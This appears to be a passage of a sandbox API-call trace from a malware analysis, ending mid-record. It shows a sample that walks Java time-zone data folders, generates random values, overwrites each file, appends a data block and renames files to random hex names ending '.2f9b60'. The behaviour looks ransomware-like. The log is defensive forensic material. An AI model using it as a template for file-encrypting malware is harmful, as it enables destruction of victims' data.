sprintf (in: _Dest=0x1b82d0c6, _Format="%c%c" | out: _Dest="9b") returned 2 [0164.023] sprintf (in: _Dest=0x1b82d0c8, _Format="%c%c" | out: _Dest="93") returned 2 [0164.023] sprintf (in: _Dest=0x1b82d0ca, _Format="%c%c" | out: _Dest="79") returned 2 [0164.023] RtlInitAnsiString (in: DestinationString=0x2b16fd28, SourceString="660d669b9379" | out: DestinationString="660d669b9379") [0164.023] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b16fcf8, SourceString="660d669b9379", AllocateDestinationString=1 | out: DestinationString="660d669b9379") returned 0x0 [0164.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f3f40 [0164.023] RtlFreeAnsiString (AnsiString="6") [0164.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0c0) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4030) returned 1 [0164.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e380) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d120) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7220) returned 1 [0164.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d100) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a71f0) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd90b0) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9170) returned 1 [0164.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91a0) returned 1 [0164.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x203fa580 [0164.027] wcscat (in: _Dest=0x203fa580, _Source="660" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660" [0164.027] wcscat (in: _Dest=0x203fa580, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660.2f9b60" [0164.027] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660.2f9b60", NtPathName=0x2b16fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\660.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c22750 Thread: id = 2466 os_tid = 0x1efc [0154.162] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt")) returned 0x20 [0154.162] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT", dwFileAttributes=0x20) returned 1 [0154.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\mst7mdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8e0 [0154.163] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x2b2bf880 | out: lpFileSize=0x2b2bf880*=1272) returned 1 [0154.163] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.163] ReadFile (in: hFile=0x8e0, lpBuffer=0x2b2bf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b2bf848, lpOverlapped=0x0 | out: lpBuffer=0x2b2bf800*, lpNumberOfBytesRead=0x2b2bf848*=0x4, lpOverlapped=0x0) returned 1 [0154.167] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91d0 [0154.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0154.168] NtQuerySystemTime (in: CurrentTime=0x2b2bf740 | out: CurrentTime=0x2b2bf740*=132462177592990000) returned 0x0 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x27d49b3f [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5d45ff6f [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x4f8ad2e3 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5c9140fb [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5631b0f6 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5d060344 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x44738061 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x2590a1ee [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x1026c721 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5a76ae37 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x4d22cac6 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x45006248 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x324ffb5 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x7ad3a517 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x68d51ae9 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x54d08436 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x43aadfa0 [0154.168] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x138dbdcd [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x239d4871 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x4945336b [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x49c85119 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x6d736079 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x4ce14ae2 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x29da7de8 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x2bb2ec11 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5621f285 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5a4ff934 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x43726be1 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x7e91bedd [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x1828bbd5 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x2f5aeb97 [0154.169] RtlRandomEx (in: Seed=0x2b2bf730 | out: Seed=0x2b2bf730) returned 0x5debc352 [0154.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9290 [0154.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0154.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92c0 [0154.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0154.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0154.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ac0 [0154.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0154.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427acae0 [0154.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427b09e0 [0154.186] ReadFile (in: hFile=0x8e0, lpBuffer=0x427acae0, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2b2bf730, lpOverlapped=0x0 | out: lpBuffer=0x427acae0*, lpNumberOfBytesRead=0x2b2bf730*=0x4f8, lpOverlapped=0x0) returned 1 [0154.186] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.186] WriteFile (in: hFile=0x8e0, lpBuffer=0x427b09e0*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2b2bf734, lpOverlapped=0x0 | out: lpBuffer=0x427b09e0*, lpNumberOfBytesWritten=0x2b2bf734*=0x4f8, lpOverlapped=0x0) returned 1 [0162.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a72b0 [0162.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a72e0 [0162.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a72e0) returned 1 [0162.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427b09e0) returned 1 [0162.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427acae0) returned 1 [0162.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0162.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ac0) returned 1 [0162.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a72e0 [0162.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1ac0 [0162.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e190 [0162.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7310 [0162.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7310) returned 1 [0162.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a7310 [0162.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7340 [0162.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7370 [0162.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7370) returned 1 [0162.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e190) returned 1 [0162.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1ac0) returned 1 [0162.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x423a9920 [0162.071] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.071] WriteFile (in: hFile=0x8e0, lpBuffer=0x423a9920*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2b2bf850, lpOverlapped=0x0 | out: lpBuffer=0x423a9920*, lpNumberOfBytesWritten=0x2b2bf850*=0x100, lpOverlapped=0x0) returned 1 [0164.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0164.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9230 [0164.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9230) returned 1 [0164.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d140 [0164.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9230 [0164.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9200 [0164.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9200) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cdd9200 [0164.042] sprintf (in: _Dest=0x1cdd9200, _Format="%c%c" | out: _Dest="36") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9202, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9204, _Format="%c%c" | out: _Dest="34") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9206, _Format="%c%c" | out: _Dest="22") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9208, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd920a, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd920c, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd920e, _Format="%c%c" | out: _Dest="6d") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9210, _Format="%c%c" | out: _Dest="18") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9212, _Format="%c%c" | out: _Dest="01") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9214, _Format="%c%c" | out: _Dest="96") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9216, _Format="%c%c" | out: _Dest="d7") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd9218, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.042] sprintf (in: _Dest=0x1cdd921a, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.042] RtlInitAnsiString (in: DestinationString=0x2b2bf8c8, SourceString="36f83422bfadcd6d180196d74f9a" | out: DestinationString="36f83422bfadcd6d180196d74f9a") [0164.042] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b2bf898, SourceString="36f83422bfadcd6d180196d74f9a", AllocateDestinationString=1 | out: DestinationString="36f83422bfadcd6d180196d74f9a") returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce18a00 [0164.043] RtlFreeAnsiString (AnsiString="3") [0164.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9200) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9230) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9920) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7310) returned 1 [0164.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7340) returned 1 [0164.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a72e0) returned 1 [0164.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a72b0) returned 1 [0164.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91d0) returned 1 [0164.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9290) returned 1 [0164.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92c0) returned 1 [0164.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce5b830 [0164.046] wcscat (in: _Dest=0x1ce5b830, _Source="36f8342" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342" [0164.046] wcscat (in: _Dest=0x1ce5b830, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342.2f9b60" [0164.046] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342.2f9b60", NtPathName=0x2b2bf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\36f8342.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230e320 Thread: id = 2467 os_tid = 0x1f00 [0154.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced9860 [0154.166] wcscpy (in: _Dest=0x1ced9860, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0154.166] wcscat (in: _Dest=0x1ced9860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0154.166] wcscat (in: _Dest=0x1ced9860, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*" [0154.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4760 [0154.166] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dfd0 [0154.187] wcscmp (_String1=".", _String2=".") returned 0 [0154.187] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.217] wcscmp (_String1="..", _String2=".") returned 1 [0154.217] wcscmp (_String1="..", _String2="..") returned 0 [0154.217] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apia", cAlternateFileName="")) returned 1 [0154.217] wcscmp (_String1="Apia", _String2=".") returned 1 [0154.217] wcscmp (_String1="Apia", _String2="..") returned 1 [0154.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e010 [0154.217] wcscpy (in: _Dest=0x1b85e010, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0154.217] wcscat (in: _Dest=0x1b85e010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0154.218] wcscat (in: _Dest=0x1b85e010, _Source="Apia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Apia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Apia" [0159.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2388 [0159.226] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="Auckland", cAlternateFileName="")) returned 1 [0159.226] wcscmp (_String1="Auckland", _String2=".") returned 1 [0159.226] wcscmp (_String1="Auckland", _String2="..") returned 1 [0159.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42308900 [0159.226] wcscpy (in: _Dest=0x42308900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.226] wcscat (in: _Dest=0x42308900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.226] wcscat (in: _Dest=0x42308900, _Source="Auckland" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Auckland") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Auckland" [0159.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d60 [0159.227] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chatham", cAlternateFileName="")) returned 1 [0159.227] wcscmp (_String1="Chatham", _String2=".") returned 1 [0159.227] wcscmp (_String1="Chatham", _String2="..") returned 1 [0159.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308980 [0159.228] wcscpy (in: _Dest=0x42308980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.228] wcscat (in: _Dest=0x42308980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.228] wcscat (in: _Dest=0x42308980, _Source="Chatham" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chatham") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chatham" [0159.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2368 [0159.228] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chuuk", cAlternateFileName="")) returned 1 [0159.228] wcscmp (_String1="Chuuk", _String2=".") returned 1 [0159.228] wcscmp (_String1="Chuuk", _String2="..") returned 1 [0159.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42308a00 [0159.229] wcscpy (in: _Dest=0x42308a00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" [0159.229] wcscat (in: _Dest=0x42308a00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0159.229] wcscat (in: _Dest=0x42308a00, _Source="Chuuk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chuuk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Chuuk" [0159.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42308a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c [0159.230] FindNextFileW (in: hFindFile=0x1cd9dfd0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 